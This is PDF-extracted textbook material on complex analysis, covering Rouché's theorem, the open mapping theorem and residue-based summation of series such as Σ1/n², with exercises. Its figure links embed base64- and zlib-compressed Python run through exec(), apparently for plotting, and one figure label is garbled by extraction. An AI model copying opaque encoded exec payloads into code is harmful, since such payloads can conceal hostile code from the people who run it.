C2H75t49sB0yaw1DTF147YPFbFxTjMRbzaYkgBtVeuNZMS%2FqAhpVEiuLzEYqySZLgE%2FNsWQYUt6KOTajUSoA4LUMIF8Le74HYcHznu85NuVgB8AT%2BSkvm651%2BnI2MhmSBXd%2FmCKif0l3L83pFLcxGhVZUakmydXFuJpODBG8vaqLImsHge%2F5ojZ74TiU%2FaroVGB7VRN8%2FnDBeVbL29pPirxGrnCHzI3miHoudfiJmKfZkjqVrNKk7VfpSqI36P3pOUdHvyDRnurnsX6e4AkLuY%2BCZD95cUCzHkUv90W3S81aTIYThMamPa2kzF3nrMM%2BnuvNh8MFg0HXOT%2FBa176GZBcYpc4BnrsKXWVKVF3KODpnBwei0whNVxgxpkhkbclD%2F6F9vmJx77n75FGMbykLhYVO%2BqguaAchZIhurpJlXRo%2FzMxn8SCrYYIcE%2BfsoEz3erUmITQlXN80WHvSJ%2BEX2jMXnjO2%2BMOe%2FsOfQOQXNB8ePfuPhDapQ4HsUuu2V2jTPAJZPTUa4oKxfXq8QqXgH%2Fd8usOxruQEODpOY5DtddHXttkCHflACnDnNSz0YfWSel3WomMvBeO8uQ5eUsTp%2BFyK8qWWGMM4lp45PXEzpQDjPO3x9qvnmI9HnvO%2BPGFfX934dFaPH8uRc49H6Eys1pVRVEr0oz9vT%2BzMyaqGXWts0MiN1HA29QOJjKiRnDarv63S5uCMN2nn8vGTHUloitoBLJ8ba8vhFGxkTOdz3UfxS82Atc6uKRqIcuKGwRDgk6aL4qFgstYe51%2FCWEj7ZCdYmhk9Azk7kvvsi1sNP%2FzUTC8XBc0Fagb%2B7Wdp74oS%2FgAJzDwapQhkfHSu9RcSuKyGQO4qZVQ2fHT0W5wicoLsLmSy9AC7vOQdBUTxT%2FDqIbGV4s5b2q001H3EnoQWKm5aXM4I82tKiSKU7Jvll4TlkeX1tYRMnPFrZVvZinSHJGsV0hvflmUGjPz4poqJjN1nt7yCFaLEHobXFux9QIhmvMA%2BtaecRKjg4mMmOZ5FphfDPW81l%2BIl%2BI3%2FwMyc1mzaEaGJWQgl7MbW8%2Fo2gDhtcMKKhnIBbXmwkBikd9UoiR3xmSs4cbbwjAXZH4sS8DQ2sPa0NcojXC9KMdUUnFxa82SpXPKVX6fIsaZkXfrg3IsVCmjmrvy80JkOEpQv7hNFXeLJLHvRHcLFnwXjw4xW%2Fcvt%2Fsb1uJ2BnBrYOvUFLpd%2F4BCfnYTotVhq6KKZRV2G4nX30neCKDER1aqxiNE1IvRMLi81EFFA26rl6rlhq%2FJSuDa83vrI4Mgn%2BBdKqp6PsrWgb%2B3cWgg%2FfK8qCk1utDpdhnys3XkFRSn%2FQA%2BYzsVvK7p9IicMun2lHvEIHMewhGAWdyUVVGqME6xS%2Frdnj137167X64KJ2Pr12OFGk2GwZ7X2oz04LtAAYU7JFY0ewem6e4cDT99opomfDzdoRPZ2TZzXQggvYdBv%2BUHCTUyIQcUO0w%2FVBgE2MMEMc3uY45jPPSU8bTpuTLbGvh77bbubWNXF%2FQAr4HU8K%2Fg%2BjfgqftrnJLHpa54eCYmMtPrevn%2Fw%2B5DdttfTycD2TkHMAxV4KG%2BpUBrUelrCq0xDwIC657%2FElssbjMqKnBmFXE8FrcSaa5LNRMefXr29%2Bn5Yv8SWm%2BFiMxz9L2Fna5B0qXN6fov8STEz0ToRlLfcWwhAW7iqMXkgZkHB9%2Be2tswVh%2F17vEHlEUfTAikTHNMlQJcw%2Bs0Pe%2BoB4WN92WwxcmMjijB3nDjhPeKukNGZzecKI8cWKh6wEL9F9pEA3oOetpEe2sTNUisUCIMUJXnSbG92IPunpljVrteoIb3NRaPAwVhgQ5TSPVpPg3pRO0cUxWrq6N3F87ZeZvGA72VLUTOzm1QQ8PEMRUO9lrj4bC1Bsu%2BmZrJKeV%2BJJ84kyocEXJ%2BhvjeW063TPR%2FLqorTHAL0kyFpPk8iVpnncvIoHAOfwaEtJOElUvVD6WznWSHcS2T7Qx2PPcr0ev7BG%2BtZFOSMqKeIRx5l1sSUHmH7gIlTsUIw1t21%2FjTh9Uib8p%2F7J%2FZL8Q7RL0%2BOaWrD%2FE73Z3tXdsg3u2DuI%2Flu2omYhkPUZ7ISjbXHtDuU26uw9jOHZ0973ZwLM7NJcC2TptIWMN%2BD7j%2F%2BBvl5Rf7zq9HJz%2B%2BpSKfajVTkWHsGevtw7l%2Foqo7r7kuxLmpSkyWOz7B6epE57l12dKc1U3ktBWWbiswIre6osoB%2FHFStUeEQzbfEqKQFz6e29yRWsc0es3thR7G9eiqw8oOo1u6i1GKTT62Pyf4cdoSDiYlWBJCde5eWWCvHs7P2EWRlYgeXbrfWLOxle2mj4xWVBNpdgQz80ZMdWA96G7z3shEKDdrufafF1%2BRo9GwlgHDBH6AmLoW1Ha5O6ttQPXvRcDr9cumtNY4lTFOaY1TbhnnuDGOvv5pzPPiW4xiyyjeYnTyIKMDy6iMQI%2F%2FU8ooJS0S7%2BbHBOJRSm%2BXFhsJu0Kw%2FfjbvZK9NWCl4y1K3mjGKSQcpTg7ozgvo2aRkVaOTsPZtoaNZt2XJps2B46vLnfUMtWp1XI2b%2B7u7qb7DfZsHfL9POOoBVnLOY4aqFnOCqvN5ASFWu7aSnNwX8SGbVoQl18wX9dTm9v%2F1%2Fj9ppiNNcTRQ15y8p1SKBfqEku7h2tvbumjBwLr8FPuIkpU7s4d3dihqPR7iS4rCUFlRIcvl8InAukG7XSbdpo9kFf0xE%2B5DoL2ZgJR%2FFOuCpSdVcvM6rPTMjNRs7SSDRHd3N6niL2v4lqXSes1V%2Bba%2FD%2F%2F3rg3F%2BqL%2B%2FEOo9pal9Y9pLKWGwqnTV5WYYGkRCYLV78PkGXpRow%2BdtDNtx15NrXDu%2FurZ33Q6JsyEJm0tKOH%2Bxik6QRDzwpFoSu%2FsZg3dE19QzfOxqrtTTfMS7eeUZ0tYa14x1wXDXUZQHWXztHm1lkPb90z7xxp2%2FKfOuwn76uLP2%2Bv6AGCu0%2BZ%2FIxTyLcu6Zu7edAn%2BsiyeTc%2FdB%2BsRxh9oXvwvp7KAFLyHarQ4w%2BUR7H7Lt1uu3QynGbFBJUEt%2FcAjxiOZNdYXEw3w8TR3KSDG5VEOE%2Fa7s0PLigAr%2Bznxge%2Ff4Z0%2F6KLAG%2F9EQynAs%2FR2%2FbViwawg4bmW%2BewtYCs2k%2BbzeXuyC3jRN%2Fn1stSunRhM%2Bg5649iQdceUDa%2Fe43HSZrJ8divVJmlcPPnCASBZ3OhviTnrl8u6dJ2bAT7EEO57b8g%2FMin%27%29%29.decode%28%29%0Aexec%28src%29
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C : jzj= 1

zero of f (order 2)
zeros of ht
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red disc: radius min
C
(jfj ¡ tjgj)

As t goes from 0 to 1 the zeros of ht move, but never reach C

and ht(C) deforms, but never passes through 0: on C, jhtj ¸ jfj ¡ tjgj> 0

t= 0:75

N(t) = 1
2¼i

I
C

h 0t
ht
dz

= 2:0000

Figure 31.5 (animated). The proof of Theorem 31.6, for a smaller example: f(z) = z2 and g(z) =
z/5−1/2 on C : |z| = 1, where |g| ≤ 0.7 < 1 = |f |. As t runs from 0 to 1 the zeros of ht = f+tg (left)
leave the double zero of f at 0 and move apart, but never reach C. The curve ht(C) (right) deforms,
but stays outside the red disc of radius minC(|f | − t |g|) = 1 − 0.7t > 0 about 0, so it never passes
through 0. Hence N(t) = 1

2πi

∮
C

h′
t

ht
dz is defined, continuous and integer-valued, so it is constant:

N(1) = N(0) = 2.

Remark 31.7 (How to use it). Given a function F whose zeros you want to count inside C, split
F = f + g where f is a dominant term whose zeros you know, and verify |g| < |f | on C. The art
is entirely in the split.

Example 31.8 (The Fundamental Theorem of Algebra again). Let p(z) = anz
n + · · · + a0 with

an ̸= 0, n ≥ 1. Put f(z) = anz
n and g(z) = an−1z

n−1 + · · · + a0. On |z| = R,

|g(z)| ≤
∑
k<n

|ak|Rk ≤
(∑
k<n

|ak|
)
Rn−1 < |an|Rn = |f(z)|

as soon as R > max
(
1,

∑
k<n

|ak|
|an|

)
. By Rouché, p = f + g has as many zeros in |z| < R

as f(z) = anz
n does, namely n (all at the origin, counted with multiplicity). So a degree-n

polynomial has exactly n roots. This proves Theorem 6.5 again, and this time it delivers the
count, not merely existence.

Example 31.9 (Locating roots). How many zeros does F (z) = z7 − 5z3 + 12 have in the annulus
1 ≤ |z| < 2?

On |z| = 1: take f = 12, g = z7 − 5z3. Then |g| ≤ 1 + 5 = 6 < 12 = |f |, so F has the same
number of zeros in |z| < 1 as the constant 12 — namely 0.

On |z| = 2: take f = z7, g = −5z3 + 12. Then |g| ≤ 5 · 8 + 12 = 52 < 128 = 27 = |f |, so F
has as many zeros in |z| < 2 as z7 — namely 7.

Hence all 7 zeros lie in 1 ≤ |z| < 2, and in fact in 1 < |z| < 2 since F has no zero on |z| = 1
(the first estimate was strict).

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=rouche2_homotopy&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNq9WVtX20gSftev6BXmpJUxwjKYEBPlnBlnCNnJZDgMTxjWR5Zatsa6RWoBJvDf96vuli%2BB2Z3Zh%2BUkcqvVqu6q%2BuoqKxIxK9NgyeNk1mVxFWTC%2FNRdluRSVLdB2mXTaXHvfyly4Qwthr8kK4tKsqTAo6AWR4ddlgWyTAuZJlO3XNKIBTVIS7U%2BroqMfTpfynmRu1FS05YtkbPLXz93mZlUq%2FGWG6ZFLehUjpoyjzkt5rZtv0uyGUsi3y7jCYY2q%2BUyFb4dNlVdVMOyUGe3mUykmk6TcMFkwcqgqYX93npXh1VSyvfWbVCxMmY%2Bu0vyqLhz1fhbPGTjmy5bDFmvy6omHzJZNeIJIsG2PouKsMlELt2ZkD%2BngoY%2FLT9FvD2Nc2Lhxy1yva%2FP4iYPZVLkjDvsG%2FZzQRPT%2F9CjE%2FZ0YtVCfjLy5lvLwX8SM27WssdHen%2FB3vv0G7upyGdy7rBKyKbKT2g1tq6rkOkFY1p9c6Jf8hlXvz8wz2G7u2w3OrHA1W6EE7%2FbNzKBeNku49%2BjwHG0KmIhIpLBtkaclQonUMslpGVWFxVbgAargnwmDFGDIo0MTPCFs5qYNqSBpHB%2FWkpRf%2FqNrx8BDW4d3Ar8cizrEnHADiDIZ7YG6STJw7mofRqvX8Rz0NRIdadHhyIPi0gQDdIgeGsEdxw3Emp6Y0Ow6jZlFEih%2BXzV4kaJvmzqObfxNBgmWTAT%2B9jnxNjDbm07K4m%2BgjzxDALcYXv4YyKPWBGzfzYlmKw%2BJ1IoKxSVemxBAxdFA0Ze1UzORVGJjPFLMzjw3CNI%2B1ZUNUGkP6QlrKwKEISc6SYvIDrXGrGkZo8Pj%2BDdg7D4g4PRw7%2F6XTYz4%2F0B22PePmbmE0k4BTIkmymt9dg7Hze4eC77LGKpN5J3BXsQVVETA%2FRWKqASemRFRTNNhXpKD2MWSFAJwGtW3MKvTBvJcoGDA6xBOGcjl10ks7khrETIYMCgBrp85DB4J2i41m%2BC15H1iCePhP3H%2BBFHl48zdedh3HPfSPaeDLYuWCLhEYIlDtnIOonU%2BbBrRCAN6XByjsNVQZQ0tTqhPlcZ1LUgmVdFM5uDpPWFS5IUh5BYmbDEYZwMYlYFqRHAq32SAl4AFZwZIg%2BLrGwkNoM6FKMK5EPso4xpho02tXngdK2wyGWSNwVOQzqEPoBRSKPIwUYOCX3hHp3jC%2B%2FRT9%2B1zpenyYwW3ML7AAhaiBpwJLgkByOwFMVda2VdWpSzMEjTWvt913UdlwAHaP4%2BD0hEZQCvrEQkmIYhaEA7tEvNeBYsxKRS8%2FD0JDKAjQQO3grNrz4F6O6w0dAgsO%2ByNQQPGY%2BKLMnBGoMBZM4KkgfQ5NHDCVNQnJnFNIXbA5DYwiltwPVR%2BpN5kRWywIkqAc5CpUZRCzZdsoDVGViG3MV9kJWpGG6YxcomNg3CdSwTnvImA03Esrxsp9ahztqIeggs3P5xBu%2F%2FfN13IVGFw42nYZEWVd0GRFlMqtlUL4JnqGRRpKuHJaTVSK0Ly6JIWYXnAdRbt47qmw3KcynupRsDVYgr9pDZYQYPadOEGwdZki5pshZVEq%2Fm6%2BRBYNbrPznWaPQbgvK5up6q6xmukJC948VH8ZtjemsnfHsU9Ho0lMF0OIUbbcezSojcti667MulUj7M0js87FmXZ7jNSzdN8rqEljge9NlrmioTWt0l56jit38apDXCyBXeuNBLxH3JvT8wvjxz2F%2F521EoJusqmoqNuhg2FM%2BQXoSLu6QWFuk%2FDbJpFLCHIXtgr1%2BzQ2u2NakwiU0frNOrLvtI54n5lcLslWN9OO2yDx8xd4glV%2FT%2BQZftHQGhPZqwBALCmtwtUgp3oNzVQPMUFjVX3OMWJgH7uue3XTzvYQcPV8eyLMrTyBXpwAlz3XBIMsk02Nl%2F8kwMJvdAkRU8RlgsA4esnsjp1IFx%2FuFU2dVr8OOwfcZPr8z9xyuHeHHcTAQ5d1z479ScCnFH1nQy9vf%2BtGa2Iok2duzItRdwNk8HEemtxjDanvq3R0qBrzygn5tWTLIKwgVOhGX5Wl7PNqMQlzMV%2B9Uc%2BS82BlXp3VBmkabFHZzh2jHDZIy8Lp9DWO92ws7xaKzP6Ym9t87NKglS9C%2FH3vBmnfxUWN3KbzV57gZlCRvgBAZejdOklrx0bhSVkqhs%2BgCu8ypkgfx8vOfdIEsDbBZi6RvAfR3SWYNpzb9CqHqNWzcZb%2FO583HvBucgsNJwU%2BYwRnq3qhAozkm%2BaXJLWB7fGFmHCP4VN1K%2BmyeI%2FrRkzSHduWVRKsxQFsBbNWXJPQ8htRCut8W12VY2cNGcU1CXjjYSfQbtGfGa4xhgPnvUd1b2QrRqfvc%2FIDMXkoVzEiwhI6hm7I4FaYEsUqVacK9dVlC%2BQCaoTh5oSDT5XRWUZM54GTzcOVsY5gGJH2wFELSysJXraw8Nd92UkxTpFg%2FujVjSJKNY5R6Qx7jQ%2B927WDkJ6lKEktviaxOkKDtoPrhPam4XcWzuad09SPA9XLpEbD2%2F3J5vSQf3c4BbAVuFJt%2Fuucfk8tM7H6MueyiqSFR%2Br93x9i8ubzegwEdSqiZjeNSr8dC7uVFORQFua5bSwpaujkqg2nf76%2FIiIJvgPRdut%2B%2BiEj10BxsFBp0vR0JModHGme6XPr9Ye96A%2FLTrwWbMZA2raycdWk6RdPuV7xZjmfUSjgDM4g55eVn7UQItqXtTp%2B49vrefc4Uq2tj1pEaOJnxv4KxkRufge0ABuTsEVgz7x3pod0bD62vKafzdWYeqt4tt4ioRQHj3vYMVPewgEQk5oNhl6lL7ngcdxvBpRo85Sn6cU0Szdmah1eq5g5VaB9vYrSilB3g1pIb%2FDa5%2FA55qXqKinpQq4%2BFpMBWp4uvt%2Fw%2B7L8ntaP06Cci8cwzBXCjL7Z2wv5%2FF7DzPW6lsyVeln%2FdS8tL%2FLnl5gJsx%2BYZJX5CutCnLOo3RWdgV5R39VeqiYtOamhxuR2FJpAFE%2Bu1T%2FKVyw1ftG4yaSvVvlHq455FlDty3wHNwn9LWKOaDKJoE9wLUepQg4nJA14Mjur45uoGKtvxh6liqoWNeVxbRIyT23Le4knnPA98OhWr%2BbMEePsGqm%2BkLbx4f%2F%2BdX%2BxvIOEByf%2ForhPir9vcUVk8pLYIfcLrtzEeaQRbnPNeod6TqMW%2BACgSlKxXXA%2FaOpnVJq4pcSKh6QUIHx0pEh3Q97CsRDdYias2uoqTxGNwmeVxss3vsKYbfaHY3hNNFHuTbKJ4I91Q4Iq1J8hms%2FFipy01RtCIjAfiiVNT%2BmFT8GQv7Hzj1yeh%2FFlQLYN4uiEbt0w5ZHK5cSCZCbRsZvAx0rUzXr%2By2WdCJO4wrs2Gdfsex%2F8Sn%2FrWNjb5QzNrbO6lMr4P0r2M7N1s7oB7w7QaJV8UIbFvyUUBRJXSRt0UJBL3yyMdK5JBq22AYtp2FzvU1oDEZceh2j5oVTuc55bXs1zgbAGjIviidNPmsRxZy0IMf%2BoWy%2BFxyldhz6gjAqM6prhpzu5ao3kGqfwg8cptSLtx5Bz11Oy9SEgnubqzfR2c%2FfyDjpvxSZ5GUFuYqpk4AZgqr52dE%2FJIy3m%2BG9hAlt325ajnh32ZnaqjE68c%2FyOvurEO901p3fzHd86FkWdDQwwpEqudKrlQsU6HM63QBC%2F7g%2BKjPaTxT4%2F3BHmqfzomiyEdOh1oulJc1eYK0LUFtJ1TTlnV2o46pjnQR1Omp4PjLClxaPoqjH6Et2WGzQrQH7unDep3tSkXB5086Wp3RCzxVNpl8R%2Fe0OttNrRfbTth5SJ4A1MC1anldz8TXFkPvwcWaA6VSxUGHCkQljY1GE2293VwCl22LTPWq2g5Th1pMPsHJh9yUnF5gpQO9kT5%2BaPUAt1lTXyML8qUREuoiarnh%2BPSgEyv92c6TSRPaZpRODUwJscrmcvUJwoBvncYlMVvAUebDrSNNIfbFambB9uCV1a3cAqyKLq2uqR7nC0q%2Bc%2Br1UJLXChE29jSmA%2BgqKNkyNCo3VJ116ej31mf%2BY93g7jvfFT%2FwEeQ6yYuqrPd8PEyo%2F95lf7Qp79bUZr7bejCTigRpiRgF72C2VvRNsUj028zkfJysSSctydofDL4jbPKUI0PPtGaQflOicKoT8HWhhfmPKoFQ87qumVOI4etISCWbKct0IDSx8YXzViq4oZgK55zc%2BkhZLqdMjJwVSH932pZ9T0vE2ZTCSsqVlvKZ4f9sS55Uc667WVR36rzbUKKIqfJO5diBdenvuv1Y2YKEHOzr%2FDq3MTC25l8DyuE37%2Blb%2F5paMU%2FX1LaajPQ0NWCe6Pp03Y0eOrYmYF4H4UNNmAjp7VVqs97%2F8lJDkUpFBPlm%2BsIjj7IumIZNvVybUDhLiykiFDdV7w556VtYY0R9UPJjum8M6VCoBXbN9OanCKQAC%2FMh7sUvgz5ZgQofzvrzEHJgx0I2LoZ%2Fms6CHFm1%2BgpovloUNd5effRrW5lju4xi1b2Uy1LY1J447Fvrz0UoU4zxbXwRmkziJBWTiVvVZZqgytinwOdQxe2aljC33XJJLcqJ3tjFNjak%2F2%2BOLWGh%27%29%29.decode%28%29%0Aexec%28src%29
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31.3 The open mapping theorem
Theorem 31.10 (Open mapping theorem). Let D be a region and f analytic and nonconstant
on D. Then f is an open map: f(U) is open in C for every open U ⊆ D.

Proof. Let U ⊆ D be open, z0 ∈ U , w0 := f(z0). We find η > 0 with D(w0, η) ⊆ f(U).
Since f is nonconstant, the identity theorem 24.8 makes the zeros of f −w0 isolated, so there

is ρ > 0 with D(z0, ρ) ⊆ U and f(z) ̸= w0 for 0 < |z − z0| ≤ ρ. Let

η := 1
2 min

|z−z0|=ρ
|f(z) − w0| > 0,

positive by Theorem 12.13 applied on the compact circle.
Fix w ∈ D(w0, η) and write

f(z) − w =
(
f(z) − w0

)︸ ︷︷ ︸
=:F (z)

+ (w0 − w)︸ ︷︷ ︸
=:G(z)

.

On |z − z0| = ρ we have |G| = |w − w0| < η ≤ 1
2 |F | < |F |, so Rouché’s Theorem 31.6 says f − w

has the same number of zeros in D(z0, ρ) as f − w0, which has at least one (namely z0). Hence
there is z ∈ D(z0, ρ) ⊆ U with f(z) = w, i.e. w ∈ f(U).

Corollary 31.11. The maximum modulus principle 24.11 follows: if |f | had a local maximum at
an interior point z0 and f were nonconstant, then f(U) would be an open neighbourhood of f(z0)
for small U , and every neighbourhood of f(z0) contains points of larger modulus — contradiction.

31.4 Exercises
Exercise 31.1. Compute 1

2πi
∮

|z|=4
f ′

f dz for f(z) = (z−1)2(z+3)
z3(z−2) .

Exercise 31.2. Use Rouché to show that all five zeros of z5 + 3z + 1 lie in |z| < 2, and that
exactly one lies in |z| < 1.

Exercise 31.3. How many zeros does z4 − 6z + 3 have in the annulus 1 < |z| < 2?

Exercise 31.4. (⋆) Prove that ez = 3zn has exactly n solutions in |z| < 1 for every n ≥ 1.
(Compare 3zn with −ez on |z| = 1, using |ez| = eRe z ≤ e.)

Exercise 31.5. Let f be analytic on D (i.e. on an open set containing it) with |f(z)| < 1 for
|z| = 1. Prove f has exactly one fixed point in D. (Apply Rouché to f(z) − z against −z.)

Exercise 31.6. Show that Theorem 31.10 fails for real-differentiable maps by exhibiting a smooth
nonconstant g : R2 → R2 whose image of an open set is not open.

Exercise 31.7. How many zeros does 2z5 − 6z2 + z + 1 have in 1 ≤ |z| < 2? (Two applications
of Rouché, as in Example 31.9.)

Exercise 31.8. Determine the number of zeros of z4 + 2z3 + 3z2 + 4z+ 5 in each quadrant (first
check that none lies on the real or imaginary axis), by tracking arg f along the boundary of a
large quarter-disc as in Example 31.5.

Exercise 31.9. (⋆) (Hurwitz.) Let fn be analytic and nowhere zero on a region D, and suppose
fn → f locally uniformly with f ̸≡ 0. Prove f is nowhere zero on D. (If f(z0) = 0, apply (31.2)
to f on a small circle where f ̸= 0, and use f ′

n/fn → f ′/f uniformly there, from Corollary 21.8.)
Deduce that a locally uniform limit of injective analytic functions is injective or constant.



Chapter 32

Summing Infinite Series

Example 27.4(c) recorded that cot z has a simple pole with residue 1 at every integer multiple
of π. Consequently π cotπz has a simple pole of residue 1 at every integer. Multiplying it by a
function f and integrating over a large contour therefore sums the values f(n) over all n ∈ Z —
and the residue theorem evaluates the result. This is the residue calculus applied to series rather
than integrals, and it produces closed forms that are otherwise very hard to obtain.

32.1 The summation kernels
Lemma 32.1 (Poles and residues of the kernels). Define

κ(z) := π cotπz = π
cosπz
sin πz , λ(z) := π cscπz = π

sin πz . (32.1)

Both are meromorphic on C with simple poles exactly at the integers, and

Res(κ, n) = 1, Res(λ, n) = (−1)n, n ∈ Z. (32.2)

Proof. By Corollary 17.6, sin πz vanishes exactly at z = n ∈ Z, and the zeros are simple since
d
dz sin πz = π cosπz equals π(−1)n ̸= 0 there. Corollary 26.6 makes the poles simple, and (27.4)
gives

Res(κ, n) = π cosπn
π cosπn = 1, Res(λ, n) = π

π cosπn = (−1)n.

Lemma 32.2 (The kernels are bounded on good contours). For N ∈ N let SN be the boundary
of the square with vertices

(
N + 1

2
)
(±1 ± i), traversed counterclockwise. There is a constant A,

independent of N , with

|κ(z)| ≤ A and |λ(z)| ≤ A for all z ∈ SN and all N. (32.3)

Proof. Write z = x+ iy. By (17.17), |sin πz|2 = sin2 πx+ sinh2 πy.
On the horizontal sides |y| = N + 1

2 , so |sin πz| ≥ |sinh πy| ≥ sinh π
2 > 2, whence |λ| ≤ π/2.

Also |cosπz|2 = cos2 πx+ sinh2 πy ≤ 1 + sinh2 πy = cosh2 πy, so |κ| ≤ π coth π |y| ≤ π coth π
2 .

On the vertical sides x = ±
(
N + 1

2
)
, so sin2 πx = sin2(±(N + 1

2)π
)

= 1 and |sin πz| ≥ 1, giving
|λ| ≤ π; and cos2 πx = 0, so |κ| = π |sinhπy|√

1+sinh2 πy
≤ π.

Take A := π coth π
2 , which dominates all four bounds.

225
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The choice of half-integer sides is what makes this work: the squares stay uniformly far from
the poles.

Re z

Im z

S1

S2

poles at Z

Figure 32.1. The squares SN of Lemma 32.2, with half-integer sides. Their edges stay a fixed distance
from every pole of π cotπz (the integers, marked), which is exactly why the kernel is bounded on them
uniformly in N . Squares through the integers would fail: the bound would blow up and the argument
of Theorem 32.3 would collapse.

32.2 The summation theorems
Theorem 32.3 (Summation by residues). Let f be meromorphic on C with finitely many poles
w1, . . . , wr, none of them an integer, and suppose there are constants B > 0, p > 1, ρ0 > 0 with

|f(z)| ≤ B

|z|p
for |z| ≥ ρ0. (32.4)

Then
∞∑

n=−∞
f(n) = −

r∑
k=1

Res
(
π cot(πz)f(z), wk

)
, (32.5)

∞∑
n=−∞

(−1)nf(n) = −
r∑

k=1
Res

(
π csc(πz)f(z), wk

)
. (32.6)

Both series converge absolutely.

Proof. We prove (32.5); the other is identical with λ in place of κ and (32.2) supplying the sign
(−1)n.

Absolute convergence of
∑
f(n) is comparison with

∑
|n|−p, p > 1.

Take N large enough that all the wk and all of {|z| ≤ ρ0} lie inside SN . The function κf is
meromorphic inside SN with poles at the integers n with |n| ≤ N (simple, from κ) and at the wk
(from f). At an integer n, f is analytic and (32.2) with Theorem 27.2(i) gives

Res
(
κf, n

)
= lim

z→n
(z − n)κ(z)f(z) = 1 · f(n) = f(n).

The residue theorem 27.5, applied on the open square QN with vertices
(
N + 3

4
)
(±1 ± i) — a

convex, hence simply connected, region containing SN , on which κf has only the finitely many
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poles just listed — therefore gives

1
2πi

∮
SN

κ(z)f(z) dz =
∑

|n|≤N
f(n) +

r∑
k=1

Res(κf,wk). (32.7)

Now estimate the left side. The square SN has perimeter 8
(
N + 1

2
)

and every point on it has
|z| ≥ N + 1

2 , so by (32.4) and Lemma 32.2 the ML-inequality (19.15) gives

∣∣∣∮
SN

κf
∣∣∣ ≤ A · B(

N + 1
2
)p · 8

(
N + 1

2

)
= 8AB(

N + 1
2
)p−1 −→ 0

as N → ∞, because p > 1. Letting N → ∞ in (32.7) yields (32.5).

32.3 The Basel problem and its relatives
Example 32.4 (

∑
1/n2). Take f(z) = 1/z2. It satisfies (32.4) with p = 2, but its pole w1 = 0

is an integer, so Theorem 32.3 does not apply verbatim. The remedy is to run the same contour
argument directly: the function κ(z)/z2 has a pole of order 3 at 0 and simple poles at each nonzero
integer, with residue 1/n2 there. The estimate on SN is unchanged, so

0 = lim
N→∞

1
2πi

∮
SN

π cotπz
z2 dz =

∑
n̸=0

1
n2 + Res

(π cotπz
z2 , 0

)
. (32.8)

It remains to compute the residue at 0. From (24.5),

π cotπz = π
cosπz
sin πz = π ·

1 − (πz)2

2 + · · ·

πz
(
1 − (πz)2

6 + · · ·
) = 1

z

(
1− π2z2

2
)(

1+ π2z2

6 + · · ·
)

= 1
z

− π2z

3 +O(z3),

where we used 1
1−u = 1 + u+ · · · with u = (πz)2

6 . Dividing by z2,

π cotπz
z2 = 1

z3 − π2

3z +O(z),

so the residue — the coefficient of z−1 — is −π2

3 . Substituting into (32.8),

∑
n̸=0

1
n2 = π2

3 , and by symmetry
∞∑
n=1

1
n2 = π2

6

— Euler’s solution of the Basel problem, obtained here in half a page.
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Figure 32.2 (animated). The squares SN with sides on x, y = ±(N+ 1
2 ) over a map of |π cotπz| (dark

near the poles n, about π elsewhere). Each SN passes halfway between two poles, so maxSN |π cotπz|
stays below the bound A of Lemma 32.2; while the square grows from one SN to the next it passes
through the poles ±(N+1), where the maximum is infinite, and a square with sides x = ±4.05 misses
the poles but has maximum 19.84. Below, against N : the contour integral of π cot(πz)/z2 tends to
0, and the partial sums

∑
0<|n|≤N

n−2 approach π2/3, that is,
∑

n≥1 n
−2 → π2/6 (Example 32.4;

1.639947 at N = 200 against 1.644934).

Example 32.5 (The alternating version). The same computation with λ = π cscπz in place of
κ requires the expansion

π cscπz = π

πz
(
1 − (πz)2

6 + · · ·
) = 1

z
+ π2z

6 +O(z3),

so Res
(
π cscπz
z2 , 0

)
= π2

6 and

∑
n̸=0

(−1)n

n2 = −π2

6 , i.e.
∞∑
n=1

(−1)n−1

n2 = π2

12 .
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Example 32.6 (A sum with poles off the integers). Evaluate
∞∑

n=−∞

1
n2 + a2 for real a > 0.

Here f(z) = 1
z2+a2 satisfies (32.4) with p = 2 and has simple poles at ±ia, neither an integer.

By (32.5) and (27.4),
∑
n∈Z

1
n2 + a2 = −

[π cot(iπa)
2ia + π cot(−iπa)

−2ia
]

= −π cot(iπa)
ia

,

the two terms being equal since cot is odd. Now cot(iπa) = cos(iπa)
sin(iπa) = coshπa

i sinhπa by (17.12), so

∞∑
n=−∞

1
n2 + a2 = − π

ia
· cosh πa
i sinh πa = π

a
coth πa. (32.9)

Two checks. As a → ∞ the right side is asymptotic to π/a (the ratio tends to 1), matching
the integral approximation

∫∞
−∞

dx
x2+a2 = π/a. As a ↓ 0, coth πa ∼ 1

πa , so the right side ∼ 1
a2

— the n = 0 term, which does indeed dominate. Subtracting it and letting a → 0 recovers
2
∑
n≥1 n

−2 = π2/3, consistent with Example 32.4.

Remark 32.7 (Higher even zeta values). Repeating Example 32.4 with f(z) = z−2m gives ζ(2m) =∑
n≥1 n

−2m in closed form for every m ≥ 1: one needs the coefficient of z2m−1 in the expansion
of π cotπz, which is a Bernoulli number. Thus ζ(4) = π4

90 , ζ(6) = π6

945 , and so on. No comparable
formula is known for ζ(3) — the method produces even arguments only, because cot is odd.

32.4 Exercises

Exercise 32.1. Evaluate
∞∑
n=1

1
n4 by the method of Example 32.4. (You will need the z3 term of

π cotπz.)

Exercise 32.2. Show
∞∑

n=−∞

(−1)n

n2 + a2 = π

a
csch πa for a > 0, and deduce

∑∞
n=1

(−1)n−1

n2+1 .

Exercise 32.3. Evaluate
∞∑
n=0

1
(2n+ 1)2 from Examples 32.4 and 32.5 without any new contour

work.

Exercise 32.4. (⋆) Prove the partial fraction expansion

π cotπz = 1
z

+
∞∑
n=1

2z
z2 − n2 , z /∈ Z,

by applying Theorem 32.3 to f(w) = 1
w−z with z fixed and non-integral. (Handle the failure of

(32.4) with p = 1 by pairing n with −n.)

Exercise 32.5. Explain why the method cannot produce
∑
n≥1

1
n , and what goes wrong in the

estimate.

Exercise 32.6. Evaluate
∞∑

n=−∞

1
(n+ 1

3)2 . (Take f(z) = (z + 1
3)−2; the pole is not an integer, so

(32.5) applies directly.)
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Exercise 32.7. Evaluate
∞∑
n=1

1
n2 + n

two ways: by telescoping, and by (32.5) applied to f(z) =

1
z2+z with the integer poles handled separately.

Exercise 32.8. Show
∞∑

n=−∞

1
(n− a)2 = π2

sin2 πa
for a /∈ Z, and recover Example 32.4 by letting

a → 0 after subtracting the n = 0 term.

Exercise 32.9. (⋆) Prove that
∞∑
n=1

1
n6 = π6

945. (You need the coefficient of z5 in π cotπz; get it

